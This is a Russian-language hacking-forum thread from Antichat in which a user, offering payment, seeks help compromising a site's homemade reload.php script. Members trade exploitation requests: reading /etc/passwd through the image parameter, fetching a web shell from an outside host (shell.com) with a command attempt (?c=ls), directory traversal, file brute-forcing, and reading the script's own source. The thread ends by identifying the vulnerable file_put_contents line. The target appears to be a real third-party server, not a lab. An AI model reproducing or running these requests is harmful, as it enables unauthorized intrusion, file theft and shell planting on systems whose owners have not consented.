HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 24.03.2018, 09:22
Muracha
Участник форума
Регистрация: 30.07.2011
Сообщений: 151
С нами: 7782806

Репутация: 0
По умолчанию

На сервере крутится скрипт gyazo куда при обращении в определенную папку падают скриншоты(в папку db)

http://site.ru/upload.cgi

и создается скрин с хешированным значением

http://site.ru/db/fhckddkjcdfj.png

Так же на сайте есть скрипт reload.php - Исходники мне увы неизвестны, скорее самопис.

При обращении к нему

http://site.com/reload.php?image=htt...g.png.html.ico здесь любое расширение кроме PHP)&type=jpg&title=test123(здесь может быть любое название)&state=new создается в папке db файл уже со своим названием

http://site.ru/test123.png

Проблема в том, что создается файл жестко с png но любыми внутренностями. Хоть php, хоть html - неважно. Загрузить и создать файл со свободными разрешением я не могу, хотя пытался делать такой запрос:

http://site.ru/reload.php?image=htt.../1.php.txt&type=jpg&title=test123.&state=new

Пробовал обрезать нули но выходит пустая страница.

Могу предоставить ссылку в пм по запросу, а если поможете не поленюсь и отблагодарить
 
Ответить с цитированием

  #2  
Старый 24.03.2018, 14:09
Nufai
Познающий
Регистрация: 05.11.2017
Сообщений: 56
С нами: 4485206

Репутация: 0
По умолчанию

directory traversal пробовал? А если указать существующий файл, перепишет его, или добавит новые внутренности к существующим? И еще, параметр type что-то меняет вообще? Можно попробовать еще локальный файл включить.

https://rdot.org/forum/showthread.php?t=343 - хоть там и врятли инклуд, но может помочь(еле нашел эту ссылку)
 
Ответить с цитированием

  #3  
Старый 24.03.2018, 14:21
Muracha
Участник форума
Регистрация: 30.07.2011
Сообщений: 151
С нами: 7782806

Репутация: 0
По умолчанию

Цитата:
Сообщение от Nufai  

directory traversal пробовал? А если указать существующий файл, перепишет его, или добавит новые внутренности к существующим? И еще, параметр
type
что-то меняет вообще? Можно попробовать еще локальный файл включить.
https://rdot.org/forum/showthread.php?t=343
- хоть там и врятли инклуд, но может помочь(еле нашел эту ссылку)
Пробовал ли я directory traversal? Да. выдает белую страницу, но ничего более. Ни загрузки файлов. ни вывод. Ничего.

Файл перезаписывает. тупо перезаписывает внутреннее содержимое, но не меняет расширение.

параметр type похоже ни на что не влияет, там хоть dLLL2123 укажи - он спокойно зальет картинку или html со стороннего ресурса и переименует в *.png

Вообще, бессмысленно все.
 
Ответить с цитированием

  #4  
Старый 24.03.2018, 14:30
Nufai
Познающий
Регистрация: 05.11.2017
Сообщений: 56
С нами: 4485206

Репутация: 0
По умолчанию

Если не меняет расширения, то можно побрутить папку на предмет существующих файлов(другие php, .htaccess, еще что-то)
 
Ответить с цитированием

  #5  
Старый 24.03.2018, 14:36
BabaDook
Познавший АНТИЧАТ
Регистрация: 09.05.2015
Сообщений: 1,066
С нами: 5797046

Репутация: 40


По умолчанию

так ты не создавай темы, а сразу всё подробно описывай с скринами, с запросами и результатами, нахрена плодить овер много тем ?
 
Ответить с цитированием

  #6  
Старый 03.04.2018, 10:28
Muracha
Участник форума
Регистрация: 30.07.2011
Сообщений: 151
С нами: 7782806

Репутация: 0
По умолчанию

Запрос типа:

reload.php?image=/etc/passwd&type=png&title=test&state=new - создает в папке /db/ файл test.png с содержимым /etc/passwd

Если файл отсутствует, то выдает ошибку 404

То есть это локальная читалка файлов где данные записываются в png файл.

Хочу залить шелл но при запросе:

reload.php?image=http://www.shell.com/1.txt&type=png&...hell&state=new - так же создается файл в папке /db/ исключительно в png формате.

Можно ли залить шелл или выполнить удаленно команду если команды не срабатывают и выдают пустую белую страницу?

reload.php?image=http://www.shell.com/1.php&type=png&...hell&state=new

reload.php?image=http://www.shell.com/1.txt&type=png&...hell&state=new

reload.php?image=http://www.shell.com/1.txt?c=ls
 
Ответить с цитированием

  #7  
Старый 03.04.2018, 16:11
dmax0fw
Участник форума
Регистрация: 31.12.2017
Сообщений: 107
С нами: 4404566

Репутация: 46
По умолчанию

Цитата:
Сообщение от Muracha  

Так же на сайте есть скрипт reload.php - Исходники мне увы неизвестны, скорее самопис.
Цитата:
Сообщение от Muracha  

То есть это локальная читалка файлов где данные записываются в png файл.
попробуй исходники поискать, если найдёшь то там явно больше прояснится

вообще если параметр type не влияет на результат, то скорее всего в коде жёстко прописано расширение, но это не точно
 
Ответить с цитированием

  #8  
Старый 03.04.2018, 16:18
dmax0fw
Участник форума
Регистрация: 31.12.2017
Сообщений: 107
С нами: 4404566

Репутация: 46
По умолчанию

Цитата:
Сообщение от dmax0fw  

попробуй исходники поискать, если найдёшь то там явно больше прояснится
хотя возможно и не нужно искать, попробуй по относительному пути прочитать

Код:
reload.php?image=./reload.php&type=png&title=test&state=new
 
Ответить с цитированием

  #9  
Старый 03.04.2018, 16:21
Muracha
Участник форума
Регистрация: 30.07.2011
Сообщений: 151
С нами: 7782806

Репутация: 0
По умолчанию

Цитата:
Сообщение от dmax0fw  

попробуй исходники поискать, если найдёшь то там явно больше прояснится
вообще если параметр type не влияет на результат, то скорее всего в коде жёстко прописано расширение, но это не точно
Параметр type на результат не влияет, то есть можно без него:

reload.php?image=/etc/passwd&title=blalbalbabla&state=new

reload.php?image=/etc/passwd&type=php&title=blalbalba&state=new

Исходник получил. Базу сайт не использует.

.SpoilerTarget" type="button">Spoiler: code
 
Ответить с цитированием

  #10  
Старый 03.04.2018, 16:33
dmax0fw
Участник форума
Регистрация: 31.12.2017
Сообщений: 107
С нами: 4404566

Репутация: 46
По умолчанию

Цитата:
Сообщение от Muracha  

$title = $_GET['title'] .'.png';
Цитата:
Сообщение от Muracha  

file_put_contents($_UPLOAD_PATH . $title, $imagedata);
вот и ответ
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.